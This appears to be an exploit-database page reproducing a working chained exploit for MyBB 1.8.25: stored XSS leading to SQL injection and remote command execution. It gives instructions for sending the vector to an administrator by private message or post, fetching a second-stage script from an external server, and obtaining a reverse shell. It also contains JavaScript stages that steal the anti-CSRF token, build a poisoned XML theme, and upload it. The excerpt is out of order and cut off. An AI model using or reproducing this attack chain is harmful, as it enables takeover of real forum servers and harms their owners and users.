Exploits / Vulnerability Discovered : 2021-03-22 |
Type : webapps |
Platform : php
This exploit / vulnerability Mybb 1.8.25 chained remote command execution is for educational purposes only and if it is used you will do on your own risk!
[+] Code ...
# Exploit Title: MyBB 1.8.25 - Chained Remote Command Execution
# Exploit Author: SivertPL (kroppoloe@protonmail.ch)
# Date: 19.03.2021
# Description: Nested autourl Stored XSS -> templateset second order SQL Injection leading to RCE through improper string interpolation in eval().
# Software Link: https://resources.mybb.com/downloads/mybb_1825.zip
# CVE: CVE-2021-27889, CVE-2021-27890
# Reference: https://portswigger.net/daily-swig/chained-vulnerabilities-used-to-take-control-of-mybb-forums
# The exploit requires the target administrator to have a valid ACP session.
# Proof of Concept Video: https://www.youtube.com/watch?v=xU1Y9_bgoFQ
# Guide:
1) In order to escape various checks, the XSS has to download this .js file from an external server, and then execute it.
Please replace the source of the following script node with an URL pointing to the second stage .js file (this file) to be downloaded by the target.
5) Send the full vector to the target, either by private message, a post, or any other place where MyCode (BBCode) is supported.
Once the target's browser renders the page, the XSS vulnerability will fire and download & execute the second stage payload from the website specified above, using document.write() to 'bypass' SOP.
After the execution of the payload, you should receive a reverse shell, provided the admin has a valid ACP session.
request.onload = function() {
// After uploading the template, set it as default to poison the cache
get_payload_tid(token)
};
request.send(data);
}
// Build the rogue XML Template exploiting SQL Injection leading to RCE through PHP evaluation.
// Stage: 3
function build_payload() {
var xmlDom = document.implementation.createDocument("", "", null);
var theme = xmlDom.createElement("theme");
theme.setAttribute("name", PAYLOAD_XML_NAME);
theme.setAttribute("version", PAYLOAD_XML_VERSION);
var properties = xmlDom.createElement("properties");
theme.appendChild(properties);
var template_set = xmlDom.createElement("templateset");
template_set.innerHTML = SQL_PAYLOAD;
properties.appendChild(template_set);
xmlDom.appendChild(theme);
var serialized = new XMLSerializer().serializeToString(xmlDom);
var result = XML_PROLOG + serialized;
var file = new File([result], PAYLOAD_XML_NAME);
return file;
}
// Acquire the anti-CSRF token
// Stage: 2
function acquire_token(request) {
var response = request.response;
var token = response.getElementsByName("my_post_key")[0].value;
if(token == null) {
/* ACP Session either expired or wasn't established to begin with */
return;
}
// We have acquired the anti-CSRF token now.
upload_template(token);
}
// ACP Code Execution
// Stage: 1
function exec_acp() {